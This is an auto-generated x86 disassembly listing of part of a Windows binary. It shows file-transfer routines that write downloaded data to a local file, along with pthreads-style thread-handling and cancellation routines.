loc_4295E4: ; CODE XREF: sub_4295A0+3Dj
lea edx, [esp+14h+arg_10]
push edx
push eax
call ds:dword_4B3A90
mov ebx, eax
add esp, 8
cmp ebx, ebp
jnz short loc_429644
push 100h
call ds:dword_4B3A50
mov eax, [eax]
push eax
call ds:dword_4B3A54
mov ecx, [esp+1Ch+arg_8]
add esp, 4
add ecx, 44h
push eax
push ecx
call ds:dword_4B3AE0
add esp, 0Ch
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42962A: ; CODE XREF: sub_4295A0+19j
mov esi, [esp+14h+arg_C]
cmp esi, 4
jnz short loc_42963B
mov ebx, ds:dword_4B3A68
jmp short loc_429644
; ---------------------------------------------------------------------------
loc_42963B: ; CODE XREF: sub_4295A0+91j
mov edx, ds:dword_4B3A68
lea ebx, [edx+20h]
loc_429644: ; CODE XREF: sub_4295A0+57j
; sub_4295A0+99j
mov ecx, [esp+14h+arg_8]
mov edx, [esp+14h+arg_4]
lea eax, [esp+14h+arg_C]
push eax
push ecx
push edi
push esi
push edx
call sub_401E0B
add esp, 14h
test eax, eax
jnz short loc_429667
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_429667: ; CODE XREF: sub_4295A0+BFj
push 2000h
call ds:dword_4B3AB0
add esp, 4
cmp esi, 4
mov edi, eax
jnz short loc_4296DD
mov ebp, ds:dword_4B3A84
push ebx
push 2000h
push 1
push edi
call ebp
mov esi, eax
add esp, 10h
test esi, esi
jle loc_429733
loc_42969A: ; CODE XREF: sub_4295A0+11Fj
mov eax, [esp+14h+arg_C]
push eax
push esi
push edi
call sub_402059
add esp, 0Ch
cmp eax, esi
jl short loc_4296C3
push ebx
push 2000h
push 1
push edi
call ebp
mov esi, eax
add esp, 10h
test esi, esi
jg short loc_42969A
jmp short loc_429733
; ---------------------------------------------------------------------------
loc_4296C3: ; CODE XREF: sub_4295A0+10Bj
push eax
push esi
push offset aShortWritePass ; "short write: passed %d, wrote %d\n"
call ds:dword_4B3A48
add esp, 0Ch
mov [esp+14h+var_4], 0
jmp short loc_429733
; ---------------------------------------------------------------------------
loc_4296DD: ; CODE XREF: sub_4295A0+DAj
mov ecx, [esp+14h+arg_C]
push ecx
push 2000h
push edi
call sub_4020A9
add esp, 0Ch
cmp eax, ebp
jle short loc_429733
mov esi, ds:dword_4B3A78
loc_4296FA: ; CODE XREF: sub_4295A0+17Dj
push ebx
push eax
push 1
push edi
call esi
add esp, 10h
test eax, eax
jbe short loc_429721
mov edx, [esp+14h+arg_C]
push edx
push 2000h
push edi
call sub_4020A9
add esp, 0Ch
cmp eax, ebp
jg short loc_4296FA
jmp short loc_429733
; ---------------------------------------------------------------------------
loc_429721: ; CODE XREF: sub_4295A0+166j
push offset aLocalfileWrite ; "localfile write"
call ds:dword_4B3A58
add esp, 4
mov [esp+14h+var_4], ebp
loc_429733: ; CODE XREF: sub_4295A0+F4j
; sub_4295A0+121j ...
push edi
call ds:dword_4B3AAC
push ebx
call ds:dword_4B3A44
mov eax, [esp+1Ch+arg_0]
add esp, 8
test eax, eax
jz short loc_429756
push ebx
call ds:dword_4B3A94
add esp, 4
loc_429756: ; CODE XREF: sub_4295A0+1AAj
mov eax, [esp+14h+arg_C]
push eax
call sub_401ADC
mov eax, [esp+18h+var_4]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_4295A0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4297F0: ; CODE XREF: _294ADE7B:00401613j
mov eax, [esp+0Ch]
mov ecx, [esp+8]
mov edx, [esp+4]
push 41h
push 2
push eax
push ecx
push edx
call sub_4295A0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429820: ; CODE XREF: _294ADE7B:00401C08j
sub esp, 108h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
mov ebx, [esp+110h]
push ebp
push esi
push edi
mov edi, ebx
repne scasb
not ecx
add ecx, 6
mov ebp, 1
cmp ecx, 100h
jbe short loc_429857
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_429857: ; CODE XREF: _294ADE7B:0042984Aj
movsx eax, byte ptr [esp+124h]
mov edi, ds:dword_4B3A4C
push eax
lea ecx, [esp+1Ch]
push offset dword_43F7C4
push ecx
call edi
mov esi, [esp+134h]
lea edx, [esp+24h]
push esi
push 32h
push edx
call sub_428340
add esp, 18h
test eax, eax
jnz short loc_429898
pop edi
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_429898: ; CODE XREF: _294ADE7B:0042988Bj
push ebx
lea eax, [esp+1Ch]
push offset dword_43F9C8
push eax
call edi
push esi
lea ecx, [esp+28h]
push 32h
push ecx
call sub_428340
add esp, 18h
test eax, eax
jz short loc_4298F4
lea edx, [esp+10h]
lea eax, [esp+14h]
push edx
push eax
add esi, 44h
push offset dword_43F9C0
push esi
call ds:dword_4B3A70
add esp, 10h
cmp eax, 2
jnz short loc_4298F4
mov ecx, [esp+120h]
mov edx, [esp+10h]
pop edi
mov eax, ebp
pop esi
pop ebp
mov [ecx], edx
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
loc_4298F4: ; CODE XREF: _294ADE7B:004298B7j
; _294ADE7B:004298D8j
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 108h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429950: ; CODE XREF: _294ADE7B:00401361j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push edi
mov edi, edx
mov ebx, 1
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
jbe short loc_429980
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_429980: ; CODE XREF: _294ADE7B:00429975j
push esi
push edx
lea eax, [esp+10h]
push offset dword_43F9D4
push eax
call ds:dword_4B3A4C
mov esi, [esp+128h]
lea ecx, [esp+18h]
push esi
push 32h
push ecx
call sub_428340
add esp, 18h
test eax, eax
jnz short loc_4299BB
xor ebx, ebx
pop esi
mov eax, ebx
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_4299BB: ; CODE XREF: _294ADE7B:004299ABj
mov edx, [esp+118h]
mov eax, [esp+114h]
add esi, 48h
push edx
push esi
push eax
call ds:dword_4B3AE0
add esp, 0Ch
mov eax, ebx
pop esi
pop edi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429A20 proc near ; CODE XREF: sub_40161Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
arg_C = dword ptr 10h
movsx eax, [esp+arg_8]
mov ecx, [esp+arg_C]
mov edx, [esp+arg_4]
push eax
mov eax, [esp+4+arg_0]
push 3
push ecx
push edx
push eax
call sub_4295A0
add esp, 14h
retn
sub_429A20 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429A50: ; CODE XREF: _294ADE7B:00401636j
movsx eax, byte ptr [esp+0Ch]
mov ecx, [esp+10h]
mov edx, [esp+8]
push eax
mov eax, [esp+8]
push 4
push ecx
push edx
push eax
call sub_4295A0
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429A80: ; CODE XREF: _294ADE7B:0040143Dj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_429B19
mov ebx, [esp+114h]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 100h
ja short loc_429B19
mov esi, ds:dword_4B3A4C
push edx
lea eax, [esp+10h]
push offset dword_43F9EC
push eax
call esi
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_428340
add esp, 18h
test eax, eax
jz short loc_429B19
push ebx
lea edx, [esp+10h]
push offset dword_43F9E0
push edx
call esi
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_428340
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_429B19: ; CODE XREF: _294ADE7B:00429AA1j
; _294ADE7B:00429ABCj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429B60: ; CODE XREF: _294ADE7B:00401B4Aj
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_429B89
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_429B89: ; CODE XREF: _294ADE7B:00429B80j
push edx
lea eax, [esp+4]
push offset dword_43F9F8
push eax
call ds:dword_4B3A4C
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_428340
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429BE0 proc near ; CODE XREF: sub_401C2Bj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_429C19
push edi
push esi
push 32h
push offset aQuit ; "QUIT"
call sub_428340
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_430A26
mov ecx, [esi+14h]
mov edi, ds:dword_4B3AAC
push ecx
call edi
push esi
call edi
add esp, 8
pop edi
loc_429C19: ; CODE XREF: sub_429BE0+Aj
pop esi
retn
sub_429BE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429C30: ; CODE XREF: _294ADE7B:00402013j
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_429C40
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_429C40: ; CODE XREF: _294ADE7B:00429C37j
push 1Ch
call ds:dword_4B3AB0
add esp, 4
test eax, eax
jnz short loc_429C56
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_429C56: ; CODE XREF: _294ADE7B:00429C4Dj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429CB0: ; CODE XREF: _294ADE7B:004014B0j
push esi
mov esi, [esp+8]
push esi
call sub_401280
add esp, 4
test eax, eax
jz short loc_429CC9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_429CC9: ; CODE XREF: _294ADE7B:00429CC0j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
call ds:dword_4B3AAC
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429D00: ; CODE XREF: _294ADE7B:0040129Ej
push esi
mov esi, [esp+8]
push esi
call sub_401280
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_429D25
test eax, eax
jz short loc_429D25
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_429D25: ; CODE XREF: _294ADE7B:00429D14j
; _294ADE7B:00429D18j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429D50: ; CODE XREF: _294ADE7B:0040134Dj
push esi
mov esi, [esp+8]
push esi
call sub_401280
add esp, 4
test eax, eax
jz short loc_429D69
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_429D69: ; CODE XREF: _294ADE7B:00429D60j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_429D7D
cmp eax, 1
jz short loc_429D7D
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_429D7D: ; CODE XREF: _294ADE7B:00429D6Fj
; _294ADE7B:00429D74j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429DA0: ; CODE XREF: _294ADE7B:004014ABj
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429DC0: ; CODE XREF: _294ADE7B:0040176Cj
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429DE0: ; CODE XREF: _294ADE7B:00401307j
push esi
mov esi, [esp+8]
push esi
call sub_401280
add esp, 4
test eax, eax
jz short loc_429DF9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_429DF9: ; CODE XREF: _294ADE7B:00429DF0j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429E20: ; CODE XREF: _294ADE7B:0040204Aj
push esi
mov esi, [esp+8]
push esi
call sub_401280
add esp, 4
test eax, eax
jz short loc_429E39
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_429E39: ; CODE XREF: _294ADE7B:00429E30j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429E60: ; CODE XREF: _294ADE7B:004018C5j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429E90: ; CODE XREF: _294ADE7B:004018C0j
mov eax, [esp+8]
sub eax, 0
jz short loc_429EB2
dec eax
jz short loc_429EA2
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_429EA2: ; CODE XREF: _294ADE7B:00429E9Aj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_429EB2: ; CODE XREF: _294ADE7B:00429E97j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429ED0: ; CODE XREF: _294ADE7B:00401B04j
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_429F6B
mov edi, [esp+18h]
test edi, edi
jz loc_429F6B
push 18h
push 1
call ds:dword_4B3A64
mov esi, eax
add esp, 8
test esi, esi
jz short loc_429F62
mov eax, [esp+14h]
test eax, eax
jz short loc_429F10
mov eax, [eax]
test eax, eax
jz short loc_429F10
mov eax, [eax]
jmp short loc_429F12
; ---------------------------------------------------------------------------
loc_429F10: ; CODE XREF: _294ADE7B:00429F04j
; _294ADE7B:00429F0Aj
xor eax, eax
loc_429F12: ; CODE XREF: _294ADE7B:00429F0Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+8], 0
call sub_401B59
add esp, 0Ch
test eax, eax
jnz short loc_429F58
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401B59
add esp, 0Ch
test eax, eax
jnz short loc_429F4F
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_429F4F: ; CODE XREF: _294ADE7B:00429F47j
push edi
call sub_4015FA
add esp, 4
loc_429F58: ; CODE XREF: _294ADE7B:00429F32j
push esi
call ds:dword_4B3AAC
add esp, 4
loc_429F62: ; CODE XREF: _294ADE7B:00429EFCj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_429F6B: ; CODE XREF: _294ADE7B:00429ED9j
; _294ADE7B:00429EE5j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429FB0: ; CODE XREF: _294ADE7B:0040204Fj
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_42A018
mov esi, [ebp+0]
test esi, esi
jz short loc_42A018
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_4015FA
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42A00E
lea eax, [esi+14h]
push eax
call sub_4015FA
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_429FFF
push esi
call ds:dword_4B3AAC
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_429FFF: ; CODE XREF: _294ADE7B:00429FECj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401B59
add esp, 0Ch
loc_42A00E: ; CODE XREF: _294ADE7B:00429FDAj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42A018: ; CODE XREF: _294ADE7B:00429FBAj
; _294ADE7B:00429FC1j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A050: ; CODE XREF: _294ADE7B:004016EFj
mov eax, [esp+4]
push esi
test eax, eax
jz loc_42A104
mov esi, [eax]
test esi, esi
jz loc_42A104
push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
call ds:dword_4B3850
test eax, eax
jnz short loc_42A097
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_42A0E4
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_401EDD
add esp, 8
mov esi, eax
jmp short loc_42A0E0
; ---------------------------------------------------------------------------
loc_42A097: ; CODE XREF: _294ADE7B:0042A078j
push ebx
call sub_4012AD
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_42A0BB
lea ecx, [esp+14h]
push ecx
push ebx
call sub_4013B6
add esp, 8
test eax, eax
jz short loc_42A0BD
loc_42A0BB: ; CODE XREF: _294ADE7B:0042A0A7j
xor ebx, ebx
loc_42A0BD: ; CODE XREF: _294ADE7B:0042A0B9j
lea edx, [esi+edi*4+10h]
push edx
call sub_40103C
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_42A0E0
mov eax, [esp+10h]
push 0
push eax
call sub_4013B6
add esp, 8
loc_42A0E0: ; CODE XREF: _294ADE7B:0042A095j
; _294ADE7B:0042A0CFj
test esi, esi
jnz short loc_42A0FE
loc_42A0E4: ; CODE XREF: _294ADE7B:0042A082j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call ds:dword_4B26F4
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_42A0FE: ; CODE XREF: _294ADE7B:0042A0E2j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A104: ; CODE XREF: _294ADE7B:0042A057j
; _294ADE7B:0042A061j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A140: ; CODE XREF: _294ADE7B:00401E06j
push esi
push 4
push 1
xor esi, esi
call ds:dword_4B3A64
add esp, 8
test eax, eax
jnz short loc_42A163
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42A163: ; CODE XREF: _294ADE7B:0042A152j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A190: ; CODE XREF: _294ADE7B:00401992j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_42A1B1
mov eax, [ecx]
test eax, eax
jz short loc_42A1B1
push eax
mov [ecx], esi
call ds:dword_4B3AAC
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A1B1: ; CODE XREF: _294ADE7B:0042A199j
; _294ADE7B:0042A19Fj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A1D0: ; CODE XREF: _294ADE7B:00401249j
mov eax, [esp+4]
test eax, eax
jz short loc_42A1ED
mov eax, [eax]
test eax, eax
jz short loc_42A1ED
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42A1ED
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42A1ED: ; CODE XREF: _294ADE7B:0042A1D6j
; _294ADE7B:0042A1DCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A210: ; CODE XREF: _294ADE7B:004015AAj
mov eax, [esp+4]
test eax, eax
jz short loc_42A23A
mov ecx, [eax]
test ecx, ecx
jz short loc_42A23A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42A22E
test eax, eax
jnz short loc_42A23A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42A22E: ; CODE XREF: _294ADE7B:0042A225j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42A23A: ; CODE XREF: _294ADE7B:0042A216j
; _294ADE7B:0042A21Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A250 proc near ; CODE XREF: sub_4013B6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
call sub_4012AD
mov esi, eax
test esi, esi
jz short loc_42A2D8
mov edi, [esp+8+arg_0]
test edi, edi
jz short loc_42A26A
cmp edi, 1
jnz short loc_42A2D8
loc_42A26A: ; CODE XREF: sub_42A250+13j
push ebx
lea ebx, [esi+2Ch]
push ebx
call sub_40208B
mov eax, [esp+10h+arg_4]
add esp, 4
test eax, eax
jz short loc_42A284
mov ecx, [esi+30h]
mov [eax], ecx
loc_42A284: ; CODE XREF: sub_42A250+2Dj
test edi, edi
mov [esi+30h], edi
jnz short loc_42A2C9
mov eax, [esi+34h]
test eax, eax
jnz short loc_42A2C9
mov edx, [esi+38h]
push edi
push edx
call ds:dword_4B3848
test eax, eax
jnz short loc_42A2C9
mov eax, [esi+38h]
mov dword ptr [esi+0Ch], 3
push eax
mov dword ptr [esi+30h], 1
call ds:dword_4B384C
push ebx
call sub_4010AF
push 2
call sub_401CA8
add esp, 8
loc_42A2C9: ; CODE XREF: sub_42A250+39j
; sub_42A250+40j ...
push ebx
call sub_4010AF
add esp, 4
xor eax, eax
pop ebx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42A2D8: ; CODE XREF: sub_42A250+Bj
; sub_42A250+18j
pop edi
mov eax, 16h
pop esi
retn
sub_42A250 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A310: ; CODE XREF: _294ADE7B:0040209Fj
push ebx
push esi
call sub_4012AD
mov esi, eax
test esi, esi
jz short loc_42A398
mov ebx, [esp+0Ch]
cmp ebx, 1
jz short loc_42A32A
test ebx, ebx
jnz short loc_42A398
loc_42A32A: ; CODE XREF: _294ADE7B:0042A324j
push edi
lea edi, [esi+2Ch]
push edi
call sub_40208B
mov eax, [esp+18h]
add esp, 4
test eax, eax
jz short loc_42A344
mov ecx, [esi+34h]
mov [eax], ecx
loc_42A344: ; CODE XREF: _294ADE7B:0042A33Dj
mov eax, [esi+30h]
mov [esi+34h], ebx
test eax, eax
jnz short loc_42A389
test ebx, ebx
jnz short loc_42A389
mov edx, [esi+38h]
push ebx
push edx
call ds:dword_4B3848
test eax, eax
jnz short loc_42A389
mov eax, [esi+38h]
mov dword ptr [esi+0Ch], 3
push eax
mov dword ptr [esi+30h], 1
call ds:dword_4B384C
push edi
call sub_4010AF
push 2
call sub_401CA8
add esp, 8
loc_42A389: ; CODE XREF: _294ADE7B:0042A34Cj
; _294ADE7B:0042A350j ...
push edi
call sub_4010AF
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42A398: ; CODE XREF: _294ADE7B:0042A31Bj
; _294ADE7B:0042A328j
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A3D0 proc near ; CODE XREF: sub_401BCCj
push esi
push edi
call sub_4012AD
mov esi, eax
lea edi, [esi+2Ch]
push edi
call sub_40208B
add esp, 4
test esi, esi
jz short loc_42A41D
cmp dword ptr [esi+30h], 1
jz short loc_42A41D
mov eax, [esi+38h]
push 0
push eax
call ds:dword_4B3848
test eax, eax
jnz short loc_42A41D
push edi
mov dword ptr [esi+0Ch], 3
mov dword ptr [esi+30h], 1
call sub_4010AF
push 2
call sub_401CA8
add esp, 8
loc_42A41D: ; CODE XREF: sub_42A3D0+17j
; sub_42A3D0+1Dj ...
push edi
call sub_4010AF
add esp, 4
pop edi
pop esi
retn
sub_42A3D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A450: ; CODE XREF: _294ADE7B:00401C03j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_4016B3
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_42A589
call sub_4012AD
test eax, eax
jnz short loc_42A48B
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42A48B: ; CODE XREF: _294ADE7B:0042A47Cj
push ebx
push ebp
push edi
push eax
push esi
call sub_40196F
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_40208B
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_42A562
mov eax, [esi+30h]
test eax, eax
jnz loc_42A562
cmp [esi+0Ch], ebp
jge loc_42A575
test edi, edi
jz short loc_42A4F4
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010AF
push 2
call sub_401CA8
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42A4F4: ; CODE XREF: _294ADE7B:0042A4C9j
mov edi, [esi+4]
push edi
call ds:dword_4B3834
push 0
push edi
call ds:dword_4B3848
cmp eax, 102h
jnz short loc_42A582
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
call ds:dword_4B3838
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_42A600
push ecx
push edi
call ds:dword_4B383C
push ebx
call sub_4010AF
add esp, 4
push edi
call ds:dword_4B3840
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42A562: ; CODE XREF: _294ADE7B:0042A4ADj
; _294ADE7B:0042A4B8j
cmp [esi+0Ch], ebp
jge short loc_42A575
mov edx, [esi+38h]
push edx
call ds:dword_4B3844
test eax, eax
jnz short loc_42A579
loc_42A575: ; CODE XREF: _294ADE7B:0042A4C1j
; _294ADE7B:0042A565j
mov [esp+10h], ebp
loc_42A579: ; CODE XREF: _294ADE7B:0042A573j
push ebx
call sub_4010AF
add esp, 4
loc_42A582: ; CODE XREF: _294ADE7B:0042A50Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_42A589: ; CODE XREF: _294ADE7B:0042A46Fj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42A600: ; DATA XREF: _294ADE7B:0042A530o
push 2
call sub_401CA8
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A620 proc near ; CODE XREF: sub_401109j
arg_0 = dword ptr 4
mov eax, ds:dword_4B26E4
push esi
push eax
call sub_40116D
mov esi, eax
